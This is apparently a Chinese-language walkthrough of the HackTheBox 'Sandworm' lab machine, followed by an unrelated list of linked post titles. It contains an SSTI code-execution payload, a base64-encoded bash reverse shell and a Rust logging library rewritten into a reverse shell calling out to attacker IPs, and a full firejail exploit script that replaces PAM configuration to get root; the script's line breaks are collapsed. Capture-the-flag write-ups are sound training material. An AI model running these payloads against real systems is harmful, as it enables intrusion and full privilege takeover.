HTB-Sandworm

  • 立足
  • altas -> silentobserver
  • silentobserver -> 完整的atals
  • atlas -> root
  • exploit

扫描最常用的1000个端口。

80会重定向到443。

去看看443有什么吧。

目录扫描可能不会起作用。在concat上面找到了一个有趣的东西。

“如果不知道怎么PGP?请访问guide。”

继续点进去。

顶部有他们的PGP公钥。

经过多次尝试发现Verifying signed messages存在SSTI。


来看看是怎么发现的。以下是我们需要用的在线网站工具:
https://youritmate.us/pgp/
http://www.2pih.com/pgp.html

首先打开第一个超链接的,填写名字、邮件、和密码(可选可不选),然后生成可以得到私钥和公钥。


接着复制私钥来到第二个超链接,如果前面填写了密码的就在Passphrase填写密码,复制私钥并且随意输入一个Message。

底下就有我们生成的sign。

为什么我们要怎么做?是因为我们需要观察我们能够控制的部分是那部分。然后将公钥和sign复制到目标验证功能处。

很显然,我们能控制的是生成PGP时所需的名字上。

接着将名字修改为{{12*12}}测试是否存在SSTI(别忘了重新生成以及替换掉旧的私钥和公钥。

然后就发现存在SSTI。

{{12*12}}替换为{{7*'7'}}后出现了7个7。

要么是Jinja2,要么是Twig,当然还有其他可能。使用{{config.items()}}收集信息发现了mysql的相关信息。

尝试使用mysql的账户登录ssh失败,怀疑可能是个兔子洞。
使用payload“{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}”来尝试执行id。

可以看到成功执行了id命令。那么下一步就是反弹shell了。不过让我们先尝试看看能不能ping到本机。


很遗憾,似乎有什么东西在阻止我们。在想办法绕过它之前先看看当前用户的ssh文件能否被读取。

atlas的.ssh文件里面只有一个authorized_keys。

尝试写入公钥登录也没有办法。所以只有考虑想办法绕过它。

立足

首先想到的是用base64编码一次。

使用base64命令,然后输入要编码的字符串,输入完毕后按下CTRL+D即可。

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEK" | base64 -d | bash

收集信息的时候发现还有很多页面我没有收集到。

不知道为啥我当前shell的好像有点问题。无法使用nc活wget下载linpeas,但是我们有python3。

python3 -c "import urllib.request;url ='http://10.10.14.10/linpeas.sh';filename ='linpeas.sh';urllib.request.urlretrieve(url, filename)"

问题又来了,没有办法用chmod修改权限。

可以尝试使用python来修改权限,不过大概率没有权限修改权限。

就目前这个情况,我感觉大概率是需要找到另一个用户的凭证。还好在./httpie/sessions/localhost_5000/admin.json找到了。

altas -> silentobserver

利用获得的凭证通过ssh登录。

silentobserver -> 完整的atals

opt目录有两个有趣的玩意。

通过pspy看看这两个有趣的东西会不会被时间任务启动。


上面那个rust的作用可能就是把用户查询的信息写进access.log文件里面。

这个tipnet程序会提供几个功能。

但是看源码能够看到似乎就只有UpstreamRefresh Indeces可用。

上面是e重新刷新一个什么东西,a下面是查询。

当我们使用e(Refresh Indeces),会执行一个函数pull_indeces

tipnet会有一句写入/opt/tipnet/access.log的代码,但是看了一下并没有发现。只存在一个logger::log

再结合上时间任务中这句命令。推测是将某个文件编译为库,方便tipnet使用。
这个logger应该那个外部crate, 看代码感觉就是用来写入日志的。

但是这个tipnet,似乎只能利用修改lib.rs来想办法反弹atlas用户的shell。不过我们都有了silentobserver的ssh账户了,可能用不上。

继续搜索发现有一个firejail的SUID。


搜索发现有一个exploit可用。


在使用的时候会发现没有权限使用firejail。

哦,似乎那个lib.rs是用来获得完整atlas用户的shell。那把logger下的lib.rs内容修改为反弹shell的代码,然后重新重建一下。

extern crate chrono;use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};pub fn log(user: &str, query: &str, justification: &str) {let sock = TcpStream::connect("10.10.14.16:4321").unwrap();let fd = sock.as_raw_fd();Command::new("/bin/bash").arg("-i").stdin(unsafe { Stdio::from_raw_fd(fd) }).stdout(unsafe { Stdio::from_raw_fd(fd) }).stderr(unsafe { Stdio::from_raw_fd(fd) }).spawn().unwrap().wait().unwrap();let now = Local::now();let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {Ok(file) => file,Err(e) => {println!("Error opening log file: {}", e);return;}};if let Err(e) = file.write_all(log_message.as_bytes()) {println!("Error writing to log file: {}", e);}
}

复制到/opt/crates/logger/src/lib.rs,然后等两分钟就可以了。完整的atlas有一个jailer的组。

atlas -> root

继续回到那个firejail上。

看来需要两个shell。重新写一个lib.rs就行了,然后第二个shell里面照着说明使用即可。

exploit

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

#!/usr/bin/python3import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path# Print error message and exit with status 1
def printe(*args, **kwargs):kwargs['file'] = sys.stderrprint(*args, **kwargs)sys.exit(1)# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):s = os.stat(f)if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):return Falsewith open(f) as fd:ch = fd.read(2)if len(ch) != 1 or ch != "1":return Falsereturn Truedef mountTmpFS(loc):subprocess.check_call("mount -t tmpfs none".split() + [loc])def bindMount(src, dst):subprocess.check_call("mount --bind".split() + [src, dst])def checkSelfExecutable():s = os.stat(__file__)if (s.st_mode & stat.S_IXUSR) == 0:printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():# just run a long sleep command in an unsecured sandboxproc = subprocess.Popen("firejail --noprofile -- sleep 10d".split(),stderr=subprocess.PIPE)# read out the child PID from the stderr output of firejailwhile True:line = proc.stderr.readline()if not line:raise Exception("helper sandbox creation failed")# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is outputline = line.decode('utf8').strip().lower()if line.find("child pid") == -1:continuechild_pid = line.split()[-1]try:child_pid = int(child_pid)breakexcept Exception:raise Exception("failed to determine child pid from helper sandbox")# We need to find the child process of the child PID, this is the# actual sleep process that has an accessible root filesystem in /procchildren = f"/proc/{child_pid}/task/{child_pid}/children"# If we are too quick then the child does not exist yet, so sleep a bitfor _ in range(10):with open(children) as cfd:line = cfd.read().strip()kids = line.split()if not kids:time.sleep(0.5)continueelif len(kids) != 1:raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")try:sleep_pid = int(kids[0])breakexcept Exception:raise Exception("failed to determine sleep child PID from helper \sandbox")  else:raise Exception(f"sleep child process did not come into existence in {children}")join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"if not os.path.exists(join_file):raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")return proc, join_file# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):if not checkFile(join_file):printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")os.environ["FIREJOIN_JOINFILE"] = join_fileos.environ["FIREJOIN_UNSHARED"] = "1"unshare = shutil.which("unshare")if not unshare:printe("could not find 'unshare' program")cmdline = "unshare -U -r -m".split()cmdline += [__file__]# Re-execute this script with unshared user and mount namespacessubprocess.call(cmdline)if "FIREJOIN_UNSHARED" not in os.environ:# First stage of execution, we first need to fork off a helper sandbox and# an exploit environmentcheckSelfExecutable()helper_proc, join_file = createHelperSandbox()reexecUnshared(join_file)helper_proc.kill()helper_proc.wait()sys.exit(0)
else:# We are in the sandbox environment, the suitable join file has been# forwarded from the first stage via the environmentjoin_file = os.environ["FIREJOIN_JOINFILE"]# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:mountTmpFS("/proc/1")
except subprocess.CalledProcessError:# This is a special case for Fedora Linux where SELinux rules prevent us# from mounting a tmpfs over proc directories.# We can still circumvent this by mounting a tmpfs over all of /proc, but# we need to bind-mount a copy of our own time namespace first that we can# symlink to.with open("/tmp/time", 'w') as _:passtime_ns_src = "/tmp/time"bindMount("/proc/self/ns/time", time_ns_src)mountTmpFS("/proc")FJ_MNT_ROOT = Path("/run/firejail/mnt")# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:umask_fd.write("022")# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:tf.write("auth sufficient pam_permit.so\n")tf.write("account sufficient pam_unix.so\n")tf.write("session sufficient pam_unix.so\n")# Be agnostic about the PAM config file location in /etc or /usr/etcfor pamd in ("/etc/pam.d", "/usr/etc/pam.d"):if not os.path.isdir(pamd):continuefor service in ("su", "sudo"):service = Path(pamd) / serviceif not service.exists():continue# Bind mount over new "helpful" PAM config over the originalbindMount(tf.name, service)print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")while True:line = sys.stdin.readline()if not line:break

HTB-Sandworm相关推荐

  1. htb Sandworm wp

    nmap 有域名 ssa.htb加到hosts 看web 爆dns和域名 点到contact里面有个guide可以点 点进去之后web如下 从上往下依次是: 测试 解密密文 测试 公钥加密 生成密文 ...

  2. HTB Optimum[Hack The Box HTB靶场]writeup系列6

    这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行s ...

  3. 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...

    我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...

  4. linux htb 源代码,LINUX TC:HTB相关源码

    LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...

  5. CISA:警惕俄罗斯 “Sandworm” 黑客组织使用的新型恶意软件框架

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 英国国家网络安全中心 (NCSC) .美国网络安全和基础设施安全局(CISA).美国国家安全局 (NSA) 和 FBI发布安全公告指出,臭名昭著 ...

  6. Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块

    作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...

  7. linux下TC+HTB流量控制

    C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...

  8. HTB靶场系列 Windows靶机 Optimum靶机

    勘探 依然是nmap扫描 nmap 10.10.10.8 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-13 21:58 EST Nmap sc ...

  9. HTB打靶(Active Directory 101 Mantis)

    namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...

  10. Linux TC 流量控制与排队规则 qdisc 树型结构详解(以HTB和RED为例)

    1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...

最新文章

  1. 深度剖析WinPcap之(九)——数据包的发送过程(12)
  2. 树莓派模拟量输入范围_使用 RPi.GPIO 模块的输入(Input)功能
  3. 【opencv】16.截取图像中的一个roi区域时,判断该roi是否越界
  4. centos7.0安装php,centos7.3安装php7.0
  5. Q:一个经典的helloworld程序需要几个文件?
  6. 运维 服务器安装,IT服务器运维安装CentOS后,你要做的10件事
  7. 20155330 2016-2017-2 《Java程序设计》第五周学习总结
  8. 【云周刊】第128期:支撑千亿营收背后秘密——首届阿里巴巴研发效能嘉年华...
  9. ES6新特性_ES6的对象扩展方法---JavaScript_ECMAScript_ES6-ES11新特性工作笔记040
  10. 存量累计超20亿部“宁闲不卖”如何“唤醒”依旧有经济价值的旧手机?
  11. html表示主题内容的标签是,HTML 基本标签
  12. (10)数据分析-变量分析
  13. 三菱PLC之间通信概要
  14. 经典同步时序逻辑电路分析汇总(第八道)(同步三进制计数器)
  15. mysql+视频文件转成流_详解java调用ffmpeg转换视频格式为flv
  16. Aquariusの瓶子的眼泪
  17. 正向代理和反向代理定义和区别
  18. 插入式隔离器的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  19. 计算机房挨着音乐教室用英语怎么说,四年级下册英语期末复习资料
  20. tplink wr886n v2 硬改

热门文章

  1. 25,verilog之generate生成块
  2. 微信又更新了,一个功能号称今年最好玩,一个功能引发网友不满
  3. 条件单,预埋单,普通委托
  4. 苹果充值抖币显示苹果服务器异常,iOS充值问题(余额、使用、异常问题)
  5. 虚拟主机和云主机/服务器有什么区别?搭建网站应该选哪种?
  6. Excel实用技巧记录
  7. android高级封装,安卓首款COP封装,让Find X高级感十足!
  8. python遍历二维数组
  9. 云服务器被攻击进黑洞了怎么解决
  10. MAC机器上启动、停止Nginx